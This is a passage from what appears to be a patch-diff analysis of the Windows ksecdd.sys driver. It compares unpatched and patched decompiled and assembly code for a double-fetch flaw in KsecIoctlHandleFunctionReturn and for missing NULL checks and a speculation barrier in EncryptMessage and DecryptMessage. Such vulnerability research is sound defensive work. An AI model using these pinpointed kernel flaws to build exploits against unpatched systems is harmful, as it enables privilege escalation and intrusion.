class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;KsecIoctlHandleFunctionReturn — double-fetch / TOCTOU fix (Finding 6)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED @ 0x1C0006898&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000023&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MmUserProbeAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// force-fault touch of range end only&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;MmUserProbeAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CallInProgressCompleted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- raw user pointer forwarded&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED @ 0x180006728&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000023&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;ProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlCopyFromUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// NEW: capture to kernel copy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CallInProgressCompleted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// operates on kernel copy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;EncryptMessage — Unpatched vs Patched&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched&lt;/strong&gt; (&lt;code&gt;ksecdd_unpatched.sys&lt;/code&gt; @ &lt;code&gt;0x1C00262D0&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026311&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; r8 = dispatch table base&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026318&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002631B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0026370&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; table NULL -&amp;gt; 0xC0000001&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002631D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; rdx = *phContext (rbx=phContext) — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026320&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; ecx = entry count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026326&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026329&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0026377&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; unsigned upper-bound only; no lfence&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002632B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry = table[index] — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002633B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; fn = entry-&amp;gt;[0x30] — NO NULL check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002633F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; CFG-guarded indirect call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched&lt;/strong&gt; (&lt;code&gt;ksecdd_patched.sys&lt;/code&gt; @ &lt;code&gt;0x180029A70&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;A80&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NULL check phContext (arg1)&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;A83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029A93&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;A85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80090301&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; SEC_E_INVALID_HANDLE&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;A93&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NULL check pMessage (arg3; rbx=r8)&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;A96&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029A85&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AD8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry count&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;ADE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rbp = *phContext (index)&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AE1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029B45&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AE3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lfence&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; NEW: speculation barrier&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AE6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; NEW: reload table base after check&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry = table[index]&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AF1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NEW: NULL check entry&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AF4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029B45&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AF6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; fn = entry-&amp;gt;[0x30]&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; NEW: NULL check fn ptr&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;AFD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180029B30&lt;/span&gt;
&lt;span class="err"&gt;0000000180029&lt;/span&gt;&lt;span class="nf"&gt;B0A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;_guard_dispatch_icall&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; CFG-guarded indirect call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;DecryptMessage — Unpatched vs Patched&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched&lt;/strong&gt; (&lt;code&gt;@ 0x1C0026210&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026252&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; table base&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0026259&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002625C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00262B2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C002625E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; *phContext — NO NULL check on rbx&lt;/span&gt;
